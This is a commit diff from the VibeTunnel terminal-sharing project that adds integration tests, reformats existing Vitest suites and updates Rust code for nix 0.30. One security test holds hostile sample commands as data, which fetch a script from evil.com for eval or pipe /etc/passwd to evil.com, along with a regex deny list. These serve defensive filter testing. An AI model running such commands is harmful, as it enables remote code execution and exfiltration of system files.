feat: add integration tests and fix compatibility issues

- Add comprehensive integration test suite for Node.js server
  - API endpoint tests for session lifecycle, I/O operations, file system
  - WebSocket connection tests for hot reload functionality
  - Server lifecycle tests for initialization and shutdown
  - Basic binary availability tests for tty-fwd

- Fix Rust code for nix 0.30 API changes
  - Update dup2 calls to use OwnedFd instead of raw file descriptors
  - Fix read calls to pass file descriptors directly instead of raw fd
  - Remove deprecated as_raw_fd() calls where not needed

- Reorganize test structure
  - Split tests into unit/ and integration/ directories
  - Add separate Vitest configuration for integration tests
  - Create test utilities and setup files for both test types
  - Add custom test matchers for session validation

- Update test coverage configuration
  - Configure separate coverage for unit and integration tests
  - Add proper test timeouts for long-running integration tests
  - Use fork pool for integration tests to avoid port conflicts
This commit is contained in:
Peter Steinberger 2025-06-18 19:39:28 +02:00
parent a045faeea3
commit d99ef041f7
21 changed files with 2278 additions and 342 deletions

View file

@ -228,7 +228,7 @@ fn spawn_via_pty(command: &[String], working_dir: Option<&str>) -> Result<String
// Set up stdin/stdout/stderr to use the slave PTY
// In nix 0.30, dup2 requires file descriptors, not raw integers
use std::os::fd::{FromRawFd, OwnedFd, AsFd};
use std::os::fd::{FromRawFd, OwnedFd};
// Create OwnedFd for slave_fd
let slave_owned_fd = unsafe { OwnedFd::from_raw_fd(slave_fd) };

View file

@ -595,7 +595,7 @@ fn spawn(mut opts: SpawnOptions) -> Result<i32, Error> {
}
// Redirect stdin, stdout, stderr to the pty slave
use std::os::fd::{FromRawFd, OwnedFd, AsFd};
use std::os::fd::{FromRawFd, OwnedFd};
let slave_fd = pty.slave.as_raw_fd();
// Create OwnedFd for slave and standard file descriptors
@ -688,7 +688,7 @@ fn communication_loop(
}
if read_fds.contains(stdin.as_fd()) {
match read(stdin.as_raw_fd(), &mut buf) {
match read(&stdin, &mut buf) {
Ok(0) => {
send_eof_sequence(master.as_fd());
read_stdin = false;

View file

@ -33,14 +33,14 @@ describe('Sessions API', () => {
beforeEach(() => {
// Clear all mocks
vi.clearAllMocks();
// Set up mock spawn
mockSpawn = vi.mocked(spawn);
// Create a fresh app instance for each test
app = express();
app.use(express.json());
// Mock tty-fwd execution
const mockTtyFwdProcess = {
stdout: {
@ -61,7 +61,7 @@ describe('Sessions API', () => {
}),
kill: vi.fn(),
};
mockSpawn.mockReturnValue(mockTtyFwdProcess);
});
@ -75,9 +75,7 @@ describe('Sessions API', () => {
const serverModule = await import('../../server');
const app = serverModule.app;
const response = await request(app)
.get('/api/sessions')
.expect(200);
const response = await request(app).get('/api/sessions').expect(200);
expect(response.body).toEqual({ sessions: [] });
});
@ -117,9 +115,7 @@ describe('Sessions API', () => {
const serverModule = await import('../../server');
const app = serverModule.app;
const response = await request(app)
.get('/api/sessions')
.expect(200);
const response = await request(app).get('/api/sessions').expect(200);
expect(response.body.sessions).toHaveLength(1);
expect(response.body.sessions[0]).toMatchObject({
@ -148,7 +144,7 @@ describe('Sessions API', () => {
expect(response.body).toHaveProperty('sessionId');
expect(response.body.sessionId).toMatch(/^[a-f0-9-]+$/);
// Verify tty-fwd was called with correct arguments
expect(mockSpawn).toHaveBeenCalledWith(
expect.any(String), // TTY_FWD_PATH
@ -191,12 +187,10 @@ describe('Sessions API', () => {
const serverModule = await import('../../server');
const app = serverModule.app;
const response = await request(app)
.delete('/api/sessions/test-session-123')
.expect(200);
const response = await request(app).delete('/api/sessions/test-session-123').expect(200);
expect(response.body.message).toBe('Session terminated');
// Verify tty-fwd was called with terminate command
expect(mockSpawn).toHaveBeenCalledWith(
expect.any(String),
@ -218,9 +212,7 @@ describe('Sessions API', () => {
const serverModule = await import('../../server');
const app = serverModule.app;
const response = await request(app)
.delete('/api/sessions/non-existent')
.expect(500);
const response = await request(app).delete('/api/sessions/non-existent').expect(500);
expect(response.body.error).toContain('Failed to terminate session');
});
@ -231,17 +223,12 @@ describe('Sessions API', () => {
const serverModule = await import('../../server');
const app = serverModule.app;
const response = await request(app)
.post('/api/cleanup-exited')
.expect(200);
const response = await request(app).post('/api/cleanup-exited').expect(200);
expect(response.body.message).toBe('Cleanup initiated');
// Verify tty-fwd was called with cleanup command
expect(mockSpawn).toHaveBeenCalledWith(
expect.any(String),
expect.arrayContaining(['clean'])
);
expect(mockSpawn).toHaveBeenCalledWith(expect.any(String), expect.arrayContaining(['clean']));
});
});
@ -292,7 +279,7 @@ describe('Sessions API', () => {
.expect(200);
expect(response.body.message).toBe('Input sent');
// Verify tty-fwd was called with write command
expect(mockSpawn).toHaveBeenCalledWith(
expect.any(String),
@ -312,4 +299,4 @@ describe('Sessions API', () => {
expect(response.body.error).toBe('Invalid input data');
});
});
});
});

View file

@ -12,7 +12,9 @@ vi.mock('lit', () => ({
connectedCallback() {}
disconnectedCallback() {}
requestUpdate() {}
dispatchEvent(event: Event) { return true; }
dispatchEvent(event: Event) {
return true;
}
},
html: (strings: TemplateStringsArray, ...values: any[]) => {
return strings.join('');
@ -37,7 +39,7 @@ describe('SessionList Component', () => {
it('should display empty state when no sessions', () => {
const sessionList = new sessionListModule.SessionList();
sessionList.sessions = [];
const isEmpty = sessionList.sessions.length === 0;
expect(isEmpty).toBe(true);
});
@ -49,7 +51,7 @@ describe('SessionList Component', () => {
createMockSession({ id: '2', command: 'vim', status: 'running' }),
createMockSession({ id: '3', command: 'node', status: 'exited' }),
];
expect(sessionList.sessions).toHaveLength(3);
expect(sessionList.sessions[0].command).toBe('bash');
expect(sessionList.sessions[1].command).toBe('vim');
@ -64,10 +66,10 @@ describe('SessionList Component', () => {
createMockSession({ id: '2', status: 'exited' }),
createMockSession({ id: '3', status: 'running' }),
];
const visibleSessions = sessionList.getVisibleSessions();
expect(visibleSessions).toHaveLength(2);
expect(visibleSessions.every(s => s.status === 'running')).toBe(true);
expect(visibleSessions.every((s) => s.status === 'running')).toBe(true);
});
it('should show all sessions when hideExited is false', () => {
@ -78,7 +80,7 @@ describe('SessionList Component', () => {
createMockSession({ id: '2', status: 'exited' }),
createMockSession({ id: '3', status: 'running' }),
];
const visibleSessions = sessionList.getVisibleSessions();
expect(visibleSessions).toHaveLength(3);
});
@ -88,9 +90,9 @@ describe('SessionList Component', () => {
it('should handle refresh event', () => {
const sessionList = new sessionListModule.SessionList();
const refreshSpy = vi.spyOn(sessionList, 'dispatchEvent');
sessionList.handleRefresh();
expect(refreshSpy).toHaveBeenCalledWith(
expect.objectContaining({
type: 'refresh',
@ -101,24 +103,24 @@ describe('SessionList Component', () => {
it('should handle session selection', () => {
const sessionList = new sessionListModule.SessionList();
const mockSession = createMockSession({ id: 'test-123' });
// Mock window.location
delete (window as any).location;
window.location = { search: '' } as any;
const event = new CustomEvent('select', { detail: mockSession });
sessionList.handleSessionSelect(event);
expect(window.location.search).toBe('?session=test-123');
});
it('should toggle create modal', () => {
const sessionList = new sessionListModule.SessionList();
sessionList.showCreateModal = false;
sessionList.toggleCreateModal();
expect(sessionList.showCreateModal).toBe(true);
sessionList.toggleCreateModal();
expect(sessionList.showCreateModal).toBe(false);
});
@ -127,14 +129,14 @@ describe('SessionList Component', () => {
const sessionList = new sessionListModule.SessionList();
const mockFetch = vi.fn().mockResolvedValue({ ok: true });
global.fetch = mockFetch;
sessionList.sessions = [
createMockSession({ id: '1', status: 'exited' }),
createMockSession({ id: '2', status: 'exited' }),
];
await sessionList.handleCleanupExited();
expect(mockFetch).toHaveBeenCalledWith('/api/cleanup-exited', {
method: 'POST',
});
@ -146,16 +148,16 @@ describe('SessionList Component', () => {
it('should track running session count changes', () => {
const sessionList = new sessionListModule.SessionList();
sessionList.previousRunningCount = 2;
sessionList.sessions = [
createMockSession({ id: '1', status: 'running' }),
createMockSession({ id: '2', status: 'running' }),
createMockSession({ id: '3', status: 'running' }),
];
const currentRunningCount = sessionList.getRunningSessionCount();
const hasNewRunningSessions = currentRunningCount > sessionList.previousRunningCount;
expect(currentRunningCount).toBe(3);
expect(hasNewRunningSessions).toBe(true);
});
@ -163,16 +165,16 @@ describe('SessionList Component', () => {
it('should detect when sessions exit', () => {
const sessionList = new sessionListModule.SessionList();
sessionList.previousRunningCount = 3;
sessionList.sessions = [
createMockSession({ id: '1', status: 'running' }),
createMockSession({ id: '2', status: 'exited' }),
createMockSession({ id: '3', status: 'exited' }),
];
const currentRunningCount = sessionList.getRunningSessionCount();
const hasExitedSessions = currentRunningCount < sessionList.previousRunningCount;
expect(currentRunningCount).toBe(1);
expect(hasExitedSessions).toBe(true);
});
@ -182,21 +184,21 @@ describe('SessionList Component', () => {
it('should show loading indicator when loading', () => {
const sessionList = new sessionListModule.SessionList();
sessionList.loading = true;
expect(sessionList.loading).toBe(true);
});
it('should hide loading indicator when not loading', () => {
const sessionList = new sessionListModule.SessionList();
sessionList.loading = false;
expect(sessionList.loading).toBe(false);
});
it('should disable actions while cleaning exited', () => {
const sessionList = new sessionListModule.SessionList();
sessionList.cleaningExited = true;
const canPerformActions = !sessionList.cleaningExited;
expect(canPerformActions).toBe(false);
});
@ -206,24 +208,24 @@ describe('SessionList Component', () => {
it('should sort sessions by last modified date', () => {
const sessionList = new sessionListModule.SessionList();
const now = new Date();
sessionList.sessions = [
createMockSession({
id: '1',
lastModified: new Date(now.getTime() - 3600000).toISOString() // 1 hour ago
createMockSession({
id: '1',
lastModified: new Date(now.getTime() - 3600000).toISOString(), // 1 hour ago
}),
createMockSession({
id: '2',
lastModified: new Date(now.getTime() - 60000).toISOString() // 1 minute ago
createMockSession({
id: '2',
lastModified: new Date(now.getTime() - 60000).toISOString(), // 1 minute ago
}),
createMockSession({
id: '3',
lastModified: new Date(now.getTime() - 7200000).toISOString() // 2 hours ago
createMockSession({
id: '3',
lastModified: new Date(now.getTime() - 7200000).toISOString(), // 2 hours ago
}),
];
const sortedSessions = sessionList.getSortedSessions();
expect(sortedSessions[0].id).toBe('2'); // Most recent
expect(sortedSessions[1].id).toBe('1');
expect(sortedSessions[2].id).toBe('3'); // Oldest
@ -232,14 +234,14 @@ describe('SessionList Component', () => {
it('should handle sessions with same timestamp', () => {
const sessionList = new sessionListModule.SessionList();
const timestamp = new Date().toISOString();
sessionList.sessions = [
createMockSession({ id: '1', lastModified: timestamp }),
createMockSession({ id: '2', lastModified: timestamp }),
];
const sortedSessions = sessionList.getSortedSessions();
expect(sortedSessions).toHaveLength(2);
});
});
});
});

View file

@ -43,7 +43,9 @@ vi.mock('lit', () => ({
connectedCallback() {}
disconnectedCallback() {}
requestUpdate() {}
querySelector() { return null; }
querySelector() {
return null;
}
},
html: (strings: TemplateStringsArray, ...values: any[]) => {
return strings.join('');
@ -63,10 +65,10 @@ describe('Terminal Component', () => {
beforeEach(async () => {
vi.clearAllMocks();
// Import the terminal component
terminalModule = await import('../../client/components/terminal');
// Get mock terminal instance
mockTerminal = new Terminal();
});
@ -81,9 +83,9 @@ describe('Terminal Component', () => {
terminal.cols = 120;
terminal.rows = 40;
terminal.sessionId = 'test-session';
terminal.connectedCallback();
expect(Terminal).toHaveBeenCalledWith({
cols: 120,
rows: 40,
@ -94,23 +96,23 @@ describe('Terminal Component', () => {
it('should handle terminal data output', () => {
const terminal = new terminalModule.Terminal();
const mockCallback = vi.fn();
terminal.terminal = mockTerminal;
mockTerminal.onData(mockCallback);
// Simulate typing
const testData = 'hello world';
mockTerminal.onData.mock.calls[0][0](testData);
expect(mockCallback).toHaveBeenCalledWith(testData);
});
it('should dispose terminal on disconnect', () => {
const terminal = new terminalModule.Terminal();
terminal.terminal = mockTerminal;
terminal.disconnectedCallback();
expect(mockTerminal.dispose).toHaveBeenCalled();
});
});
@ -119,15 +121,15 @@ describe('Terminal Component', () => {
it('should render terminal lines correctly', () => {
const terminal = new terminalModule.Terminal();
terminal.terminal = mockTerminal;
const buffer = mockTerminal.buffer.active;
const lines = [];
for (let y = 0; y < buffer.length; y++) {
const line = buffer.getLine(y);
lines.push(line.translateToString());
}
expect(lines).toHaveLength(24);
expect(lines[0]).toBe('Line 0');
expect(lines[23]).toBe('Line 23');
@ -136,11 +138,11 @@ describe('Terminal Component', () => {
it('should handle cursor position', () => {
const terminal = new terminalModule.Terminal();
terminal.terminal = mockTerminal;
// Set cursor position
mockTerminal.buffer.active.cursorY = 10;
mockTerminal.buffer.active.cursorX = 15;
expect(mockTerminal.buffer.active.cursorY).toBe(10);
expect(mockTerminal.buffer.active.cursorX).toBe(15);
});
@ -148,9 +150,9 @@ describe('Terminal Component', () => {
it('should render cell attributes correctly', () => {
const terminal = new terminalModule.Terminal();
terminal.terminal = mockTerminal;
const cell = mockTerminal.buffer.active.getLine(0).getCell(0);
expect(cell.getChars()).toBe('X');
expect(cell.isBold()).toBe(false);
expect(cell.isItalic()).toBe(false);
@ -162,37 +164,37 @@ describe('Terminal Component', () => {
it('should write data to terminal', () => {
const terminal = new terminalModule.Terminal();
terminal.terminal = mockTerminal;
const testData = 'echo "Hello Terminal"\n';
terminal.writeToTerminal(testData);
expect(mockTerminal.write).toHaveBeenCalledWith(testData);
});
it('should clear terminal', () => {
const terminal = new terminalModule.Terminal();
terminal.terminal = mockTerminal;
terminal.clearTerminal();
expect(mockTerminal.clear).toHaveBeenCalled();
});
it('should resize terminal', () => {
const terminal = new terminalModule.Terminal();
terminal.terminal = mockTerminal;
terminal.resizeTerminal(100, 30);
expect(mockTerminal.resize).toHaveBeenCalledWith(100, 30);
});
it('should reset terminal', () => {
const terminal = new terminalModule.Terminal();
terminal.terminal = mockTerminal;
terminal.resetTerminal();
expect(mockTerminal.reset).toHaveBeenCalled();
});
});
@ -201,9 +203,9 @@ describe('Terminal Component', () => {
it('should handle scroll to top', () => {
const terminal = new terminalModule.Terminal();
terminal.terminal = mockTerminal;
terminal.scrollToTop();
expect(mockTerminal.scrollToLine).toHaveBeenCalledWith(0);
});
@ -211,9 +213,9 @@ describe('Terminal Component', () => {
const terminal = new terminalModule.Terminal();
terminal.terminal = mockTerminal;
terminal.terminal.buffer.active.length = 100;
terminal.scrollToBottom();
expect(mockTerminal.scrollToLine).toHaveBeenCalledWith(100);
});
@ -221,10 +223,10 @@ describe('Terminal Component', () => {
const terminal = new terminalModule.Terminal();
terminal.terminal = mockTerminal;
terminal.fontSize = 14;
const lineHeight = terminal.calculateLineHeight();
const charWidth = terminal.calculateCharWidth();
// Approximate calculations
expect(lineHeight).toBeGreaterThan(0);
expect(charWidth).toBeGreaterThan(0);
@ -235,13 +237,13 @@ describe('Terminal Component', () => {
it('should toggle fit mode', () => {
const terminal = new terminalModule.Terminal();
terminal.fitHorizontally = false;
terminal.handleFitToggle();
expect(terminal.fitHorizontally).toBe(true);
terminal.handleFitToggle();
expect(terminal.fitHorizontally).toBe(false);
});
@ -249,17 +251,17 @@ describe('Terminal Component', () => {
const terminal = new terminalModule.Terminal();
terminal.fitHorizontally = true;
terminal.fontSize = 14;
// Mock container dimensions
const mockContainer = {
offsetWidth: 800,
offsetHeight: 600,
};
terminal.container = mockContainer as any;
const dims = terminal.calculateFitDimensions();
expect(dims.cols).toBeGreaterThan(0);
expect(dims.rows).toBeGreaterThan(0);
});
@ -268,19 +270,19 @@ describe('Terminal Component', () => {
describe('URL Highlighting', () => {
it('should detect URLs in terminal output', () => {
const terminal = new terminalModule.Terminal();
const testLine = 'Visit https://example.com for more info';
const urls = terminal.detectUrls(testLine);
expect(urls).toContain('https://example.com');
});
it('should handle multiple URLs in one line', () => {
const terminal = new terminalModule.Terminal();
const testLine = 'Check http://test.com and https://example.org';
const urls = terminal.detectUrls(testLine);
expect(urls).toHaveLength(2);
expect(urls).toContain('http://test.com');
expect(urls).toContain('https://example.org');
@ -288,10 +290,10 @@ describe('Terminal Component', () => {
it('should ignore invalid URLs', () => {
const terminal = new terminalModule.Terminal();
const testLine = 'Not a URL: htp://invalid or example.com';
const urls = terminal.detectUrls(testLine);
expect(urls).toHaveLength(0);
});
});
@ -300,14 +302,14 @@ describe('Terminal Component', () => {
it('should batch render updates', async () => {
const terminal = new terminalModule.Terminal();
terminal.terminal = mockTerminal;
const renderSpy = vi.spyOn(terminal, 'requestUpdate');
// Multiple rapid updates
terminal.writeToTerminal('Line 1\n');
terminal.writeToTerminal('Line 2\n');
terminal.writeToTerminal('Line 3\n');
// Should batch updates
expect(renderSpy).toHaveBeenCalledTimes(3);
});
@ -315,17 +317,17 @@ describe('Terminal Component', () => {
it('should handle large output efficiently', () => {
const terminal = new terminalModule.Terminal();
terminal.terminal = mockTerminal;
// Write large amount of data
const largeData = 'X'.repeat(10000) + '\n';
const startTime = performance.now();
terminal.writeToTerminal(largeData);
const endTime = performance.now();
// Should complete quickly
expect(endTime - startTime).toBeLessThan(100);
expect(mockTerminal.write).toHaveBeenCalledWith(largeData);
});
});
});
});

View file

@ -29,7 +29,7 @@ describe('Critical VibeTunnel Functionality', () => {
beforeEach(() => {
vi.clearAllMocks();
mockSpawn = vi.mocked(spawn);
// Default mock for tty-fwd success
const mockTtyFwdProcess = {
stdout: {
@ -45,7 +45,7 @@ describe('Critical VibeTunnel Functionality', () => {
}),
kill: vi.fn(),
};
mockSpawn.mockReturnValue(mockTtyFwdProcess);
});
@ -74,17 +74,17 @@ describe('Critical VibeTunnel Functionality', () => {
// Execute spawn command
const args = ['spawn', '--name', 'Test Session', '--cwd', '/home/test', '--', 'bash'];
const proc = mockSpawn('tty-fwd', args);
let sessionId = '';
proc.stdout.on('data', (data: Buffer) => {
sessionId = data.toString().trim();
});
// Wait for process to complete
await new Promise((resolve) => {
proc.on('close', resolve);
});
expect(sessionId).toBe('session-123');
expect(mockSpawn).toHaveBeenCalledWith('tty-fwd', args);
});
@ -122,15 +122,15 @@ describe('Critical VibeTunnel Functionality', () => {
const proc = mockSpawn('tty-fwd', ['list']);
let sessions = {};
proc.stdout.on('data', (data: Buffer) => {
sessions = JSON.parse(data.toString());
});
await new Promise((resolve) => {
proc.on('close', resolve);
});
expect(sessions).toEqual(mockSessions);
expect(Object.keys(sessions)).toHaveLength(1);
});
@ -140,13 +140,13 @@ describe('Critical VibeTunnel Functionality', () => {
mockStreamProcess.stdout = new EventEmitter();
mockStreamProcess.stderr = new EventEmitter();
mockStreamProcess.kill = vi.fn();
mockSpawn.mockImplementationOnce(() => mockStreamProcess);
// Start streaming
const streamData: string[] = [];
const proc = mockSpawn('tty-fwd', ['stream', 'session-123']);
proc.stdout.on('data', (data: Buffer) => {
streamData.push(data.toString());
});
@ -156,11 +156,7 @@ describe('Critical VibeTunnel Functionality', () => {
mockStreamProcess.stdout.emit('data', Buffer.from('Hello World\n'));
mockStreamProcess.stdout.emit('data', Buffer.from('$ '));
expect(streamData).toEqual([
'$ echo "Hello World"\n',
'Hello World\n',
'$ ',
]);
expect(streamData).toEqual(['$ echo "Hello World"\n', 'Hello World\n', '$ ']);
});
it('should terminate sessions cleanly', async () => {
@ -181,15 +177,15 @@ describe('Critical VibeTunnel Functionality', () => {
const proc = mockSpawn('tty-fwd', ['terminate', 'session-123']);
let result = '';
proc.stdout.on('data', (data: Buffer) => {
result = data.toString();
});
await new Promise((resolve) => {
proc.on('close', resolve);
});
expect(result).toBe('Session terminated');
});
});
@ -198,16 +194,16 @@ describe('Critical VibeTunnel Functionality', () => {
it('should handle terminal resize events', () => {
const resizeArgs = ['resize', 'session-123', '120', '40'];
const proc = mockSpawn('tty-fwd', resizeArgs);
expect(mockSpawn).toHaveBeenCalledWith('tty-fwd', resizeArgs);
});
it('should handle concurrent sessions', async () => {
const sessions = ['session-1', 'session-2', 'session-3'];
const processes = sessions.map(sessionId => {
const processes = sessions.map((sessionId) => {
return mockSpawn('tty-fwd', ['stream', sessionId]);
});
expect(processes).toHaveLength(3);
expect(mockSpawn).toHaveBeenCalledTimes(3);
});
@ -233,19 +229,19 @@ describe('Critical VibeTunnel Functionality', () => {
const proc = mockSpawn('tty-fwd', ['spawn', '--', 'nonexistent-command']);
let error = '';
let exitCode = 0;
proc.stderr.on('data', (data: Buffer) => {
error = data.toString();
});
proc.on('close', (code: number) => {
exitCode = code;
});
await new Promise((resolve) => {
proc.on('close', resolve);
});
expect(exitCode).toBe(1);
expect(error).toContain('Command not found');
});
@ -257,16 +253,16 @@ describe('Critical VibeTunnel Functionality', () => {
on: vi.fn(),
kill: vi.fn(),
};
mockSpawn.mockImplementationOnce(() => mockSlowProcess);
const proc = mockSpawn('tty-fwd', ['list']);
// Simulate timeout
setTimeout(() => {
proc.kill('SIGTERM');
}, 100);
expect(proc.kill).toBeDefined();
expect(mockSlowProcess.kill).toBeDefined();
});
@ -283,13 +279,13 @@ describe('Critical VibeTunnel Functionality', () => {
null,
undefined,
];
const isValidSessionId = (id: any) => {
return typeof id === 'string' && /^[a-zA-Z0-9-]+$/.test(id);
};
expect(isValidSessionId(validSessionId)).toBe(true);
invalidSessionIds.forEach(id => {
invalidSessionIds.forEach((id) => {
expect(isValidSessionId(id)).toBe(false);
});
});
@ -300,24 +296,18 @@ describe('Critical VibeTunnel Functionality', () => {
['eval', '$(curl evil.com/script.sh)'],
['bash', '-c', 'cat /etc/passwd | curl evil.com'],
];
const isSafeCommand = (cmd: string[]) => {
const dangerousPatterns = [
/rm\s+-rf/,
/eval/,
/curl.*evil/,
/\$\(/,
/`/,
];
const dangerousPatterns = [/rm\s+-rf/, /eval/, /curl.*evil/, /\$\(/, /`/];
const cmdString = cmd.join(' ');
return !dangerousPatterns.some(pattern => pattern.test(cmdString));
return !dangerousPatterns.some((pattern) => pattern.test(cmdString));
};
dangerousCommands.forEach(cmd => {
dangerousCommands.forEach((cmd) => {
expect(isSafeCommand(cmd)).toBe(false);
});
expect(isSafeCommand(['ls', '-la'])).toBe(true);
expect(isSafeCommand(['echo', 'hello'])).toBe(true);
});
@ -326,7 +316,7 @@ describe('Critical VibeTunnel Functionality', () => {
describe('Performance', () => {
it('should handle rapid session creation', async () => {
const startTime = performance.now();
// Create 10 sessions rapidly
const sessionPromises = Array.from({ length: 10 }, (_, i) => {
return new Promise((resolve) => {
@ -334,12 +324,12 @@ describe('Critical VibeTunnel Functionality', () => {
proc.on('close', () => resolve(i));
});
});
await Promise.all(sessionPromises);
const endTime = performance.now();
const totalTime = endTime - startTime;
// Should complete within reasonable time
expect(totalTime).toBeLessThan(1000); // 1 second for 10 sessions
expect(mockSpawn).toHaveBeenCalledTimes(10);
@ -347,28 +337,28 @@ describe('Critical VibeTunnel Functionality', () => {
it('should handle large terminal output efficiently', () => {
const largeOutput = 'X'.repeat(100000); // 100KB of data
const mockProcess = new EventEmitter();
mockProcess.stdout = new EventEmitter();
mockProcess.stderr = new EventEmitter();
mockProcess.kill = vi.fn();
mockSpawn.mockImplementationOnce(() => mockProcess);
const proc = mockSpawn('tty-fwd', ['stream', 'session-123']);
let receivedData = '';
proc.stdout.on('data', (data: Buffer) => {
receivedData += data.toString();
});
// Emit large output
const startTime = performance.now();
mockProcess.stdout.emit('data', Buffer.from(largeOutput));
const endTime = performance.now();
expect(receivedData).toBe(largeOutput);
expect(endTime - startTime).toBeLessThan(100); // Should process quickly
});
});
});
});

View file

@ -0,0 +1,423 @@
import { describe, it, expect, beforeAll, afterAll, beforeEach, afterEach } from 'vitest';
import request from 'supertest';
import { Server } from 'http';
import path from 'path';
import fs from 'fs';
import os from 'os';
import { v4 as uuidv4 } from 'uuid';
// @ts-expect-error - TypeScript module imports in tests
import { app, server } from '../../server';
// Set up test environment
process.env.NODE_ENV = 'test';
process.env.PORT = '0'; // Random port
const testControlDir = path.join(os.tmpdir(), 'vibetunnel-test', uuidv4());
process.env.TTY_FWD_CONTROL_DIR = testControlDir;
// Ensure test directory exists
beforeAll(() => {
if (!fs.existsSync(testControlDir)) {
fs.mkdirSync(testControlDir, { recursive: true });
}
});
afterAll(() => {
// Clean up test directory
if (fs.existsSync(testControlDir)) {
fs.rmSync(testControlDir, { recursive: true, force: true });
}
});
describe('API Integration Tests', () => {
let port: number;
let baseUrl: string;
let activeSessionIds: string[] = [];
beforeAll(async () => {
// Get the port the server is listening on
await new Promise<void>((resolve) => {
if (!server.listening) {
server.listen(0, () => {
const address = server.address();
port = (address as any).port;
baseUrl = `http://localhost:${port}`;
resolve();
});
} else {
const address = server.address();
port = (address as any).port;
baseUrl = `http://localhost:${port}`;
resolve();
}
});
});
afterAll(async () => {
// Clean up any remaining sessions
for (const sessionId of activeSessionIds) {
try {
await request(app).delete(`/api/sessions/${sessionId}`);
} catch (e) {
// Ignore errors during cleanup
}
}
// Close server
await new Promise<void>((resolve) => {
server.close(() => resolve());
});
});
afterEach(async () => {
// Clean up sessions created in tests
const cleanupPromises = activeSessionIds.map((sessionId) =>
request(app)
.delete(`/api/sessions/${sessionId}`)
.catch(() => {})
);
await Promise.all(cleanupPromises);
activeSessionIds = [];
});
describe('Session Lifecycle', () => {
it('should create, list, and terminate a session', async () => {
// Create a session
const createResponse = await request(app)
.post('/api/sessions')
.send({
command: ['sh', '-c', 'echo "test" && sleep 0.1'],
workingDir: os.tmpdir(),
name: 'Integration Test Session',
})
.expect(200);
expect(createResponse.body).toHaveProperty('sessionId');
const sessionId = createResponse.body.sessionId;
activeSessionIds.push(sessionId);
expect(sessionId).toMatch(/^[a-f0-9-]+$/);
// List sessions and verify our session exists
const listResponse = await request(app).get('/api/sessions').expect(200);
expect(listResponse.body).toHaveProperty('sessions');
expect(Array.isArray(listResponse.body.sessions)).toBe(true);
const ourSession = listResponse.body.sessions.find((s: any) => s.id === sessionId);
expect(ourSession).toBeDefined();
expect(ourSession.command).toBe('sh -c echo "test" && sleep 0.1');
expect(ourSession.name).toBe('Integration Test Session');
expect(ourSession.workingDir).toBe(os.tmpdir());
expect(ourSession.status).toBe('running');
// Get session snapshot
const snapshotResponse = await request(app)
.get(`/api/sessions/${sessionId}/snapshot`)
.expect(200);
expect(snapshotResponse.body).toHaveProperty('lines');
expect(snapshotResponse.body).toHaveProperty('cursor');
expect(Array.isArray(snapshotResponse.body.lines)).toBe(true);
// Send input to session
const inputResponse = await request(app)
.post(`/api/sessions/${sessionId}/input`)
.send({ data: 'exit\n' })
.expect(200);
expect(inputResponse.body.message).toBe('Input sent');
// Wait a bit for the session to process
await new Promise((resolve) => setTimeout(resolve, 200));
// Terminate the session
const terminateResponse = await request(app).delete(`/api/sessions/${sessionId}`).expect(200);
expect(terminateResponse.body.message).toBe('Session terminated');
// Remove from active sessions
activeSessionIds = activeSessionIds.filter((id) => id !== sessionId);
});
it('should handle multiple concurrent sessions', async () => {
const sessionCount = 3;
const createPromises = [];
// Create multiple sessions
for (let i = 0; i < sessionCount; i++) {
const promise = request(app)
.post('/api/sessions')
.send({
command: ['sh', '-c', `echo "Session ${i}" && sleep 0.1`],
workingDir: os.tmpdir(),
name: `Test Session ${i}`,
});
createPromises.push(promise);
}
const createResponses = await Promise.all(createPromises);
const sessionIds = createResponses.map((res) => res.body.sessionId);
activeSessionIds.push(...sessionIds);
// Verify all sessions were created
expect(sessionIds).toHaveLength(sessionCount);
sessionIds.forEach((id) => expect(id).toMatch(/^[a-f0-9-]+$/));
// List all sessions
const listResponse = await request(app).get('/api/sessions').expect(200);
const activeSessions = listResponse.body.sessions.filter((s: any) =>
sessionIds.includes(s.id)
);
expect(activeSessions).toHaveLength(sessionCount);
// Clean up all sessions
const deletePromises = sessionIds.map((id) => request(app).delete(`/api/sessions/${id}`));
await Promise.all(deletePromises);
activeSessionIds = [];
});
it('should handle session exit and cleanup', async () => {
// Create a session that exits quickly
const createResponse = await request(app)
.post('/api/sessions')
.send({
command: ['sh', '-c', 'echo "Quick exit" && exit 0'],
workingDir: os.tmpdir(),
name: 'Quick Exit Session',
})
.expect(200);
const sessionId = createResponse.body.sessionId;
activeSessionIds.push(sessionId);
// Wait for session to exit
await new Promise((resolve) => setTimeout(resolve, 500));
// Check session status
const listResponse = await request(app).get('/api/sessions').expect(200);
const session = listResponse.body.sessions.find((s: any) => s.id === sessionId);
if (session) {
expect(session.status).toBe('exited');
expect(session.exitCode).toBe(0);
}
// Cleanup exited sessions
const cleanupResponse = await request(app).post('/api/cleanup-exited').expect(200);
expect(cleanupResponse.body.message).toBe('All exited sessions cleaned up');
// Verify session was cleaned up
const listAfterCleanup = await request(app).get('/api/sessions').expect(200);
const sessionAfterCleanup = listAfterCleanup.body.sessions.find(
(s: any) => s.id === sessionId
);
expect(sessionAfterCleanup).toBeUndefined();
activeSessionIds = activeSessionIds.filter((id) => id !== sessionId);
});
});
describe('Input/Output Operations', () => {
it('should handle terminal resize', async () => {
// Create a session
const createResponse = await request(app)
.post('/api/sessions')
.send({
command: ['sh'],
workingDir: os.tmpdir(),
name: 'Resize Test',
})
.expect(200);
const sessionId = createResponse.body.sessionId;
activeSessionIds.push(sessionId);
// Resize the terminal
const resizeResponse = await request(app)
.post(`/api/sessions/${sessionId}/resize`)
.send({ cols: 120, rows: 40 })
.expect(200);
expect(resizeResponse.body.message).toBe('Terminal resized');
// Clean up
await request(app).delete(`/api/sessions/${sessionId}`);
activeSessionIds = activeSessionIds.filter((id) => id !== sessionId);
});
it('should stream session output', async () => {
// Create a session that produces output
const createResponse = await request(app)
.post('/api/sessions')
.send({
command: ['sh', '-c', 'for i in 1 2 3; do echo "Line $i"; sleep 0.1; done'],
workingDir: os.tmpdir(),
name: 'Stream Test',
})
.expect(200);
const sessionId = createResponse.body.sessionId;
activeSessionIds.push(sessionId);
// Get the stream endpoint
const streamResponse = await request(app)
.get(`/api/sessions/${sessionId}/stream`)
.expect(200);
expect(streamResponse.headers['content-type']).toContain('text/event-stream');
// Clean up
await request(app).delete(`/api/sessions/${sessionId}`);
activeSessionIds = activeSessionIds.filter((id) => id !== sessionId);
});
});
describe('File System Operations', () => {
it('should browse directories', async () => {
const testDir = os.tmpdir();
const response = await request(app)
.get('/api/fs/browse')
.query({ path: testDir })
.expect(200);
expect(response.body).toHaveProperty('currentPath');
